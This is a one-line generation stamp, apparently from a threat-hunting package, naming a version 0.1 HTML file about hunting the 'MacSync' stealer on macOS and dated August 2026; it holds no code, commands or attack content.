Generated 2026-08-01 · HuntPack · MacSync-Stealer-macOS-Hunt.html · v0.1